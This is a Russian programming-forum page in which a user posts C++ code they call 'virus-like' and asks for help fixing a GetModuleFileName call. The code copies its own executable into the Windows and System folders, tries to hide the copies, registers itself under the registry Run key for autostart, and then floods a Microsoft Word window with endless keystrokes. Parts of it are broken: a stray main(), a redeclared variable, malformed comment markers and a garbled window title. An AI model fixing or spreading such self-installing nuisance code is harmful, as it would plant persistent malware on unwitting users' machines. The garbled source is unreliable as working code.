Форум программистов, компьютерный форум, киберфорум
C++
Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Работа с FLAC файлами https://www.cyberforum.ru/ cpp/ thread165784.html
Как программно (с помощью каких библиотек) можно разрезать большой FLAC файл (с прилагающимся CUE файлом) на отдельные (потреково) FLAC файлы.
Подскажите алгоритм C++
Добрый вечер. Стоит такая задача: проверить входит ли точка в произвольный многоугольник. Все координаты вершин многоугольника и координаты точки - известны. Проблема осложняется тем, что...
Очень нужен компилятор Borland 4.5 C++
Добрый день, очень нужен компилятор Borland 4.5. Кто-нибудь может дать ссылку чтобы его скачать? Заранее большое спасибо
C++ Эмуляция клавиатуры Подскажите, пожалуйста, как эмулировать нажатие клавиш клавиатуры для конкретного процесса? Т.е. чтобы, к примеру, можно было работать в MS Office, а в другой процесс передавались нажатия... https://www.cyberforum.ru/ cpp/ thread164606.html
C++ Сеть Dos <-> Windows https://www.cyberforum.ru/ cpp/ thread164409.html
Есть ли у кого исходники или какая-нить информация по организации сети межу станциями на ОС DOS и Windows? Спасибо.
C++ Создание службы в Visual Studio
Доброго всем времени суток! Есть проблема: Нужно портировать на С++ код написанного на Си-Шарпе приложения-службы. Именно так, чтобы программа была в натив-кодах. Попробовал писать в С++ Билдере -...
Как в mpi выбрать сеть для передачи? C++
Добрый день. Есть суперкомпьютер, у которого для коммуникации используется infiniband и ethernet. Требуется протестировать отдельно одну и другую сеть. Как в mpi реализовать выбор сети? Знаю,...
C++ Разбиение проекта на файлы Добрый вечер. Пишу проект на винапи, в нем есть несколько классов с обьявлением и определением. Хотелось бы вынести код каждого класса в отдельный файл для удобства чтения. Подскажите, как это... https://www.cyberforum.ru/ cpp/ thread163790.html
C++ DLL для Windows Mobile https://www.cyberforum.ru/ cpp/ thread163219.html
Всем добрый день. Такая проблема: есть библиотека DLL, которая была написана для десктопных приложений. Необходимо преобразовать ее в библиотеку, которую можно будет использовать в приложении под...
C++ Создание виртуальной файловой системы для explorer В линуксовом (юниксовом) mc есть такое понятие "виртуальная файловая система" (ВФС). Когда в программе отображается файл, к примеру архив rar, то можно enter'ом в него зайти и увидеть внутренности... https://www.cyberforum.ru/ cpp/ thread162982.html
0 / 0 / 0
Регистрация: 17.09.2010
Сообщений: 7
0

Вирусоподобное

17.09.2010, 22:16. Просмотров 683. Ответов 2
Метки (Все метки)

Привет всем! Пожалуйста, помогите разобраться а коде:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <vcl.h>
#pragma hdrstop
#pragma argsused
#include <fstream.h>
#include <windows.h>
#include <conio.h>
#include <iostream.h>
#define _WIN32_WINNT 0x0400
#include <wincrypt.h>
 
 main()
WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY key;
HINSTANCE hint;
char sysdir[256],
windir[256],
myname[256];
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
strcat(windir,"\\practica.exe");
strcat(sysdir,"\\practica.exe");
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
*SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);*/
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
RegSetValueEx(key,"practica.exe",0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
Sleep(60000*2);
int k=0;
do
{
if (FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word")!=0)
{
ShowWindow(FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word") , SC_MAXIMIZE);
LoadKeyboardLayout("00000419", KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event('G', 0,0,0);
keybd_event('G', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
В общем это "вирусоподобное", стырино с 1й страницы поиска яндекса, но вот строка
GetModuleFileName(hint,myname,256);
меня смущает, что там должно быть вместо 'hint', 'myname'?
Спасибо огромное

Вернуться к обсуждению:
Вирусоподобное
0
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2020, vBulletin Solutions, Inc.